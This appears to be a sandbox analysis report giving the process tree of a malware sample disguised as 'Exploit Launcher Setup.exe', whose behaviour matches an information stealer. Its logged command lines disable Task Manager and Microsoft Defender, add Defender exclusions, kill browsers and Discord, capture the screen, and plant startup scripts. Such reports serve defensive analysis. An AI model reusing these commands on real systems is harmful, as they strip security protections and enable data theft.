"C:\Users\Admin\AppData\Local\Temp\Exploit Launcher Setup.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if (Get-Command Get-CimInstance -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3416
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-ExecutionPolicy -Scope Process) -eq 'Restricted') { exit 1 } else { exit 0 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:208
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-CimInstance -ClassName Win32_Process | ? {$_.Path -and $_.Path.StartsWith('C:\Program Files\OblivionPath', 'CurrentCultureIgnoreCase')}).Count -gt 0) { exit 0 } else { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3536

C:\Program Files\OblivionPath\OblivionPath.exe
"C:\Program Files\OblivionPath\OblivionPath.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:532
- C:\Program Files\OblivionPath\OblivionPath.exe
  "C:\Program Files\OblivionPath\OblivionPath.exe" --disable-gpu --no-sandbox --disable-logging --disable-logging-redirect --log-level=3 --disable-crash-reporter --disable-breakpad --disable-component-update --disable-features=TranslateUI --disable-ipc-flooding-protection --disable-hang-monitor --no-error-dialogs
  2⤵
  - Downloads MZ/PE file
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -Command "New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Force | New-ItemProperty -Name "DisableTaskMgr" -Value 1 -PropertyType DWord -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Force | New-ItemProperty -Name "DisableTaskMgr" -Value 1 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4840
- - C:\Program Files\OblivionPath\OblivionPath.exe
    "C:\Program Files\OblivionPath\OblivionPath.exe" --type=gpu-process --no-sandbox --disable-breakpad --user-data-dir="C:\Users\Admin\AppData\Roaming\OblivionPath" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1768,i,6985825589073862008,1423574965123946327,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,TranslateUI,WinDelaySpellcheckServiceInit --variations-seed-version --disable-logging --log-level=3 --mojo-platform-channel-handle=1764 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:992
- - C:\Program Files\OblivionPath\OblivionPath.exe
    "C:\Program Files\OblivionPath\OblivionPath.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\OblivionPath" --field-trial-handle=1768,i,6985825589073862008,1423574965123946327,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,TranslateUI,WinDelaySpellcheckServiceInit --variations-seed-version --disable-logging --log-level=3 --mojo-platform-channel-handle=1856 /prefetch:3
    3⤵
    - Executes dropped EXE
    PID:4288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5016
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3656
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3492
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3340
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5044
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4012
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM vivaldi.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2476
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM yandex.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\temp_1779472755342.vbs" /elevate:true"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4928
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\temp_1779472755342.vbs" /elevate:true
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4676
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath $env:APPDATA; Add-MpPreference -ExclusionPath 'C:\'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sex.vbs" /elevate:true"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3416
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sex.vbs" /elevate:true
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3044
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath $env:APPDATA; Add-MpPreference -ExclusionPath 'C:\'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "sc config node DisplayName= "Network Connection Broker""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4840
  - - C:\Windows\system32\sc.exe
      sc config node DisplayName= "Network Connection Broker"
      4⤵
      Launches sc.exe
      PID:4076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:540
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:2852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist | findstr /i svchost.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3256
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3444
  - - C:\Windows\system32\findstr.exe
      findstr /i svchost.exe
      4⤵
      PID:332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist | findstr /i winlogon.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1656
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:672
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3948
  - - C:\Windows\system32\findstr.exe
      findstr /i winlogon.exe
      4⤵
      PID:3888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist | findstr /i services.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:212
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:692
  - - C:\Windows\system32\findstr.exe
      findstr /i services.exe
      4⤵
      PID:3232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist | findstr /i explorer.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:932
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2976
  - - C:\Windows\system32\findstr.exe
      findstr /i explorer.exe
      4⤵
      PID:1996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist | findstr /i dllhost.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5024
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:988
  - - C:\Windows\system32\findstr.exe
      findstr /i dllhost.exe
      4⤵
      PID:3208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist | findstr /i taskhostw.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3472
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2116
  - - C:\Windows\system32\findstr.exe
      findstr /i taskhostw.exe
      4⤵
      PID:4028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:976
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net stop WinDefend /y"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5248
  - - C:\Windows\system32\net.exe
      net stop WinDefend /y
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5288
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop WinDefend /y
        5⤵
        
        PID:5304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM Discord*.exe >nul 2>&1"
    3⤵
    PID:5320
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /T /IM Discord*.exe
      4⤵
      PID:5832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "for /F "tokens=2 delims=," %a in ('tasklist /FI "IMAGENAME eq Discord.exe" /FO CSV /NH ^| findstr /I "Discord"') do taskkill /F /PID %a >nul 2>&1"
    3⤵
    PID:5328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /FI "IMAGENAME eq Discord.exe" /FO CSV /NH | findstr /I "Discord"
      4⤵
      PID:5672
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq Discord.exe" /FO CSV /NH
        5⤵
        Enumerates processes with tasklist
        
        PID:5788
    - - C:\Windows\system32\findstr.exe
        
        findstr /I "Discord"
        5⤵
        
        PID:5796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "for /F "tokens=2 delims=," %a in ('tasklist /FI "IMAGENAME eq DiscordCanary.exe" /FO CSV /NH ^| findstr /I "Canary"') do taskkill /F /PID %a >nul 2>&1"
    3⤵
    PID:5336
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /FI "IMAGENAME eq DiscordCanary.exe" /FO CSV /NH | findstr /I "Canary"
      4⤵
      PID:5804
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq DiscordCanary.exe" /FO CSV /NH
        5⤵
        Enumerates processes with tasklist
        
        PID:5908
    - - C:\Windows\system32\findstr.exe
        
        findstr /I "Canary"
        5⤵
        
        PID:5916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "for /F "tokens=2 delims=," %a in ('tasklist /FI "IMAGENAME eq DiscordPTB.exe" /FO CSV /NH ^| findstr /I "PTB"') do taskkill /F /PID %a >nul 2>&1"
    3⤵
    PID:5344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /FI "IMAGENAME eq DiscordPTB.exe" /FO CSV /NH | findstr /I "PTB"
      4⤵
      PID:5696
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq DiscordPTB.exe" /FO CSV /NH
        5⤵
        Enumerates processes with tasklist
        
        PID:5712
    - - C:\Windows\system32\findstr.exe
        
        findstr /I "PTB"
        5⤵
        
        PID:5720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "for /F "tokens=2 delims=," %a in ('tasklist /FI "IMAGENAME eq DiscordDevelopment.exe" /FO CSV /NH ^| findstr /I "Development"') do taskkill /F /PID %a >nul 2>&1"
    3⤵
    PID:5352
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /FI "IMAGENAME eq DiscordDevelopment.exe" /FO CSV /NH | findstr /I "Development"
      4⤵
      PID:5568
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq DiscordDevelopment.exe" /FO CSV /NH
        5⤵
        Enumerates processes with tasklist
        
        PID:5616
    - - C:\Windows\system32\findstr.exe
        
        findstr /I "Development"
        5⤵
        
        PID:5632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic process where "name like 'Discord%'" delete >nul 2>&1"
    3⤵
    PID:5360
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where "name like 'Discord%'" delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -c "Get-Process Discord* -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue" >nul 2>&1"
    3⤵
    PID:5368
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -c "Get-Process Discord* -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:5680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\Discord\Update.exe" --processStart Discord.exe"
    3⤵
    PID:6084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\DiscordCanary\Update.exe" --processStart DiscordCanary.exe"
    3⤵
    PID:6092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\DiscordPTB\Update.exe" --processStart DiscordPTB.exe"
    3⤵
    PID:6100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\DiscordDevelopment\Update.exe" --processStart DiscordDevelopment.exe"
    3⤵
    PID:6108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\Discord\Discord.exe""
    3⤵
    PID:5224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\DiscordCanary\DiscordCanary.exe""
    3⤵
    PID:5232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\DiscordPTB\DiscordPTB.exe""
    3⤵
    PID:4072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\DiscordDevelopment\DiscordDevelopment.exe""
    3⤵
    PID:4524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command " Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing try { $screens = [System.Windows.Forms.Screen]::AllScreens $totalWidth = 0 $totalHeight = 0 $screenBounds = @() foreach ($screen in $screens) { $totalWidth += $screen.Bounds.Width if ($screen.Bounds.Height -gt $totalHeight) { $totalHeight = $screen.Bounds.Height } $screenBounds += $screen.Bounds } $bitmap = New-Object System.Drawing.Bitmap $totalWidth, $totalHeight $graphics = [System.Drawing.Graphics]::FromImage($bitmap) $currentX = 0 foreach ($bounds in $screenBounds) { $graphics.CopyFromScreen($bounds.X, $bounds.Y, $currentX, 0, $bounds.Size) $currentX += $bounds.Width } $bitmap.Save('C:\Users\Admin\AppData\Local\Temp\screenshot_1779472764764.png', [System.Drawing.Imaging.ImageFormat]::Png) $graphics.Dispose() $bitmap.Dispose() $file = Get-Item 'C:\Users\Admin\AppData\Local\Temp\screenshot_1779472764764.png' -ErrorAction SilentlyContinue if ($file -and $file.Length -gt 1024) { Write-Output \"SUCCESS:$($file.Length)\" } else { Write-Output \"FAILED:File too small or not found\" } } catch { Write-Output \"FAILED:$($_.Exception.Message)\" } "
    3⤵
    - Drops file in Program Files directory
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:3508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript "C:\Users\Admin\AppData\Local\Temp\open.vbs""
    3⤵
    PID:5820
  - - C:\Windows\system32\cscript.exe
      cscript "C:\Users\Admin\AppData\Local\Temp\open.vbs"
      4⤵
      Checks computer location settings
      PID:5712
    - - C:\Users\Admin\AppData\Local\Temp\MainSource_232e1379ff1e146f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MainSource_232e1379ff1e146f.exe" RAPD-S36J-M477-TXUR-55DF-2026
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:5788
      - C:\Users\Admin\AppData\Local\Temp\3DalippPog7GnvUnbtm4L4X4jpi\WindowsSupport.exe
        
        C:\Users\Admin\AppData\Local\Temp\3DalippPog7GnvUnbtm4L4X4jpi\WindowsSupport.exe RAPD-S36J-M477-TXUR-55DF-2026
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6364
        
        C:\Users\Admin\AppData\Local\Temp\3DalippPog7GnvUnbtm4L4X4jpi\WindowsSupport.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3DalippPog7GnvUnbtm4L4X4jpi\WindowsSupport.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\WindowsSupport" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1856 --field-trial-handle=1900,i,13410621745855804725,13873197965208450583,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6796
        
        C:\Users\Admin\AppData\Local\Temp\3DalippPog7GnvUnbtm4L4X4jpi\WindowsSupport.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3DalippPog7GnvUnbtm4L4X4jpi\WindowsSupport.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\WindowsSupport" --mojo-platform-channel-handle=2292 --field-trial-handle=1900,i,13410621745855804725,13873197965208450583,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs""
    3⤵
    PID:3208
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs"
      4⤵
      Drops startup file
      PID:4836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs""
    3⤵
    PID:4956
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs"
      4⤵
      PID:3948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    PID:1580
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      Kills process with taskkill
      PID:2260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    PID:4468
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      PID:6104
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pycryptodome
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4836
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:5052
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pywin32
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:1216
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade PythonForWindows
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1240
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:692
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade psutil
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:5340
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe C:\Users\Admin\AppData\Local\Temp\x1z2fQ7T3j0w.py
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:8600
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6952
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      Kills process with taskkill
      PID:5160
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      PID:8040
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      PID:5216
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      PID:6936
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:5264
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      PID:6984
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      PID:6348
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM vivaldi.exe
      4⤵
      Kills process with taskkill
      PID:7728
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      PID:7672
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      Kills process with taskkill
      PID:8564
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM QQBrowser.exe
      4⤵
      PID:5312
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      Kills process with taskkill
      PID:5164
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      PID:4880
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:6312
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:5592
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:5140
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:5184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
    3⤵
    PID:6168
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name /value
      4⤵
      Detects videocard installed
      PID:6428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs""
    3⤵
    PID:7208
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs"
      4⤵
      Drops startup file
      PID:8356
- - C:\Windows\system32\cmd.exe
